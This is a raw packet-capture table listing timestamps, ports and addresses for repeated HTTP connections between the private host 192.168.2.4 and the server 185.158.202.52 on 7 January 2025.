Jan 7, 2025 11:57:41.783198118 CET	49771	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:41.783225060 CET	49772	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:41.783910990 CET	49773	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:41.788230896 CET	80	49770	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:41.788337946 CET	49770	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:41.788573980 CET	80	49771	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:41.788633108 CET	49771	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:41.788646936 CET	80	49772	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:41.788716078 CET	80	49773	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:41.788729906 CET	49772	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:41.788815975 CET	49773	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:41.789067030 CET	49773	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:41.793934107 CET	80	49773	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:42.136428118 CET	49773	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:42.141371012 CET	80	49773	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:42.141383886 CET	80	49773	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:42.141436100 CET	80	49773	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:42.446105003 CET	80	49773	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:42.495502949 CET	49773	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:42.616642952 CET	80	49773	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:42.667371035 CET	49773	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:42.740025997 CET	49773	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:42.740613937 CET	49774	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:42.745698929 CET	80	49773	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:42.745759010 CET	80	49774	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:42.745774031 CET	49773	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:42.745826006 CET	49774	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:42.745909929 CET	49774	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:42.750696898 CET	80	49774	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:43.104959011 CET	49774	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:43.109916925 CET	80	49774	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:43.109930992 CET	80	49774	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:43.109941006 CET	80	49774	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:43.401967049 CET	80	49774	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:43.448616028 CET	49774	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:43.534919024 CET	80	49774	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:43.589255095 CET	49774	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:43.646291018 CET	49774	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:43.646847963 CET	49775	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:43.651580095 CET	80	49774	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:43.651608944 CET	80	49775	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:43.651627064 CET	49774	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:43.651675940 CET	49775	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:43.651822090 CET	49775	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:43.659781933 CET	80	49775	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:44.011226892 CET	49775	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:44.016144037 CET	80	49775	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:44.016165972 CET	80	49775	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:44.016176939 CET	80	49775	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:44.302196026 CET	80	49775	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:44.354881048 CET	49775	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:44.431298971 CET	80	49775	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:44.479883909 CET	49775	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:44.559091091 CET	49775	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:44.559772968 CET	49776	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:44.564135075 CET	80	49775	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:44.564203024 CET	49775	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:44.564596891 CET	80	49776	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:44.564661026 CET	49776	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:44.564754009 CET	49776	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:44.569525003 CET	80	49776	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:44.917465925 CET	49776	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:45.010612011 CET	80	49776	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.010624886 CET	80	49776	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.010991096 CET	80	49776	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.224997044 CET	80	49776	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.276766062 CET	49776	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:45.363913059 CET	80	49776	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.417366982 CET	49776	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:45.513849974 CET	49776	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:45.514461040 CET	49777	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:45.518851995 CET	80	49776	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.518907070 CET	49776	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:45.519304991 CET	80	49777	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.519366026 CET	49777	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:45.519474983 CET	49777	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:45.524203062 CET	80	49777	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.871499062 CET	49777	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:45.876408100 CET	80	49777	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.876440048 CET	80	49777	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:45.876449108 CET	80	49777	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.156394958 CET	80	49777	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.198648930 CET	49777	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.287113905 CET	80	49777	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.339284897 CET	49777	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.413918018 CET	49777	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.414558887 CET	49778	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.419373035 CET	80	49777	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.419441938 CET	49777	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.419609070 CET	80	49778	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.419684887 CET	49778	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.419755936 CET	49778	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.424946070 CET	80	49778	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.574604988 CET	49778	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.575275898 CET	49779	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.580089092 CET	80	49779	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.582294941 CET	49779	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.582381964 CET	49779	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.588087082 CET	80	49779	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.624350071 CET	80	49778	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.695848942 CET	49780	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.700671911 CET	80	49780	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.700740099 CET	49780	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.700835943 CET	49780	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.705563068 CET	80	49780	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.871500015 CET	80	49778	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.871567965 CET	49778	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.933260918 CET	49779	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:46.938100100 CET	80	49779	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:46.938188076 CET	80	49779	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.058126926 CET	49780	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.063606977 CET	80	49780	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.063617945 CET	80	49780	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.063625097 CET	80	49780	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.248301029 CET	80	49779	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.292428970 CET	49779	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.354871988 CET	80	49780	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.380758047 CET	80	49779	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.401741028 CET	49780	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.433005095 CET	49779	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.484678984 CET	80	49780	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.526761055 CET	49780	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.602453947 CET	49779	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.602514982 CET	49780	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.603063107 CET	49781	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.607415915 CET	80	49779	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.607666969 CET	80	49780	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.607726097 CET	49779	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.607743025 CET	49780	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.607861996 CET	80	49781	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.610290051 CET	49781	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.610399008 CET	49781	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.615137100 CET	80	49781	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.982176065 CET	49781	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:47.987060070 CET	80	49781	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.987083912 CET	80	49781	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:47.987098932 CET	80	49781	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:48.261003017 CET	80	49781	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:48.307992935 CET	49781	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:48.392878056 CET	80	49781	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:48.393130064 CET	49781	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:48.398196936 CET	80	49781	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:48.398248911 CET	49781	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:48.508236885 CET	49782	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:48.513072014 CET	80	49782	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:48.513160944 CET	49782	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:48.513257980 CET	49782	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:48.518066883 CET	80	49782	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:48.870662928 CET	49782	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:48.875644922 CET	80	49782	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:48.875657082 CET	80	49782	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:48.875667095 CET	80	49782	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:49.169735909 CET	80	49782	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:49.214281082 CET	49782	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:49.304168940 CET	80	49782	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:49.354882002 CET	49782	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:49.428524017 CET	49782	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:49.429116011 CET	49783	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:49.436928034 CET	80	49782	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:49.437249899 CET	80	49783	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:49.437328100 CET	49782	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:49.437361002 CET	49783	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:49.437470913 CET	49783	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:49.444920063 CET	80	49783	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:49.808166981 CET	49783	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:49.813040972 CET	80	49783	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:49.813050985 CET	80	49783	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:49.813059092 CET	80	49783	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:50.095057964 CET	80	49783	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:50.136125088 CET	49783	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:50.227324963 CET	80	49783	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:50.276771069 CET	49783	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:50.351118088 CET	49783	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:50.351706028 CET	49784	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:50.356081009 CET	80	49783	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:50.356149912 CET	49783	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:50.356484890 CET	80	49784	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:50.356548071 CET	49784	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:50.356632948 CET	49784	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:50.361423969 CET	80	49784	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:50.714375019 CET	49784	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:50.719300985 CET	80	49784	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:50.719321966 CET	80	49784	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:50.719331026 CET	80	49784	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.014350891 CET	80	49784	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.058016062 CET	49784	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:51.147020102 CET	80	49784	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.198620081 CET	49784	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:51.271959066 CET	49784	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:51.272588015 CET	49785	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:51.276978970 CET	80	49784	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.277087927 CET	49784	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:51.277421951 CET	80	49785	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.277493954 CET	49785	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:51.277596951 CET	49785	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:51.282387018 CET	80	49785	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.636199951 CET	49785	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:51.641051054 CET	80	49785	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.641066074 CET	80	49785	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.641073942 CET	80	49785	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.913966894 CET	80	49785	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:51.964281082 CET	49785	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.301894903 CET	80	49785	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.354896069 CET	49785	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.387089014 CET	49785	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.387373924 CET	49786	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.392086983 CET	80	49785	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.392175913 CET	49785	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.392188072 CET	80	49786	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.392255068 CET	49786	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.392360926 CET	49786	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.397160053 CET	80	49786	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.428560019 CET	49786	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.440335989 CET	49787	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.445180893 CET	80	49787	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.445265055 CET	49787	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.445346117 CET	49787	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.450083971 CET	80	49787	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.476324081 CET	80	49786	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.793982983 CET	49787	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:52.798927069 CET	80	49787	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.798940897 CET	80	49787	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.798948050 CET	80	49787	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.859368086 CET	80	49786	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:52.859453917 CET	49786	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:53.091687918 CET	80	49787	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:53.136864901 CET	49787	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:53.225090981 CET	80	49787	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:53.276777029 CET	49787	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:53.351093054 CET	49787	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:53.351664066 CET	49788	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:53.356159925 CET	80	49787	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:53.356215000 CET	49787	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:53.356470108 CET	80	49788	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:53.356534004 CET	49788	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:53.356631994 CET	49788	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:53.361351013 CET	80	49788	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:53.714391947 CET	49788	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:53.719436884 CET	80	49788	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:53.719449043 CET	80	49788	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:53.719458103 CET	80	49788	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:53.997705936 CET	80	49788	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:54.042382002 CET	49788	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:54.127898932 CET	80	49788	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:54.183031082 CET	49788	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:54.243787050 CET	49788	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:54.244491100 CET	49789	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:54.248823881 CET	80	49788	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:54.248894930 CET	49788	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:54.249291897 CET	80	49789	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:54.249361038 CET	49789	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:54.249522924 CET	49789	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:54.254231930 CET	80	49789	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:54.605004072 CET	49789	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:54.609914064 CET	80	49789	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:54.609925985 CET	80	49789	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:54.609934092 CET	80	49789	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:54.905783892 CET	80	49789	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:54.948749065 CET	49789	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:55.038949966 CET	80	49789	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:55.089267015 CET	49789	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:55.165457964 CET	49789	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:55.166260004 CET	49791	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:55.170619965 CET	80	49789	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:55.170675993 CET	49789	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:55.171072960 CET	80	49791	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:55.171133041 CET	49791	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:55.171231985 CET	49791	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:55.176049948 CET	80	49791	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:55.526874065 CET	49791	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:55.535151005 CET	80	49791	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:55.535161018 CET	80	49791	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:55.535326958 CET	80	49791	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:55.805852890 CET	80	49791	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:55.854914904 CET	49791	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:55.976367950 CET	80	49791	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.026870966 CET	49791	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.104290962 CET	49791	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.105304003 CET	49797	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.110115051 CET	80	49797	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.110187054 CET	49797	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.110295057 CET	49797	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.114989042 CET	80	49797	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.118186951 CET	80	49791	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.118235111 CET	49791	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.464631081 CET	49797	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.469472885 CET	80	49797	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.469485044 CET	80	49797	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.469494104 CET	80	49797	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.749463081 CET	80	49797	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.808023930 CET	49797	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.878968954 CET	80	49797	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.933152914 CET	49797	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.991568089 CET	49797	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.992170095 CET	49803	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.996687889 CET	80	49797	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.996885061 CET	49797	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.996974945 CET	80	49803	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:56.997045040 CET	49803	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:56.997270107 CET	49803	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.002350092 CET	80	49803	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.355091095 CET	49803	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.359944105 CET	80	49803	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.359956026 CET	80	49803	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.359987974 CET	80	49803	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.449857950 CET	49803	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.450026989 CET	49809	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.454817057 CET	80	49809	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.454880953 CET	49809	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.455009937 CET	49809	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.459729910 CET	80	49809	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.464040041 CET	80	49803	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.464096069 CET	49803	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.578481913 CET	49810	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.583298922 CET	80	49810	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.583514929 CET	49810	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.583671093 CET	49810	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.588429928 CET	80	49810	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.808176994 CET	49809	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.812949896 CET	80	49809	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.813064098 CET	80	49809	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.933245897 CET	49810	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:57.938100100 CET	80	49810	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.938112974 CET	80	49810	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:57.938121080 CET	80	49810	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.090883017 CET	80	49809	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.136135101 CET	49809	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.217156887 CET	80	49810	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.218931913 CET	80	49809	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.261145115 CET	49809	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.261151075 CET	49810	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.386218071 CET	80	49810	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.433108091 CET	49810	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.519567013 CET	49809	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.519628048 CET	49810	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.520302057 CET	49816	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.524561882 CET	80	49809	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.524801970 CET	80	49810	185.158.202.52	192.168.2.4
Jan 7, 2025 11:57:58.524971962 CET	49809	80	192.168.2.4	185.158.202.52
Jan 7, 2025 11:57:58.524990082 CET	49810	80	192.168.2.4	185.158.202.52
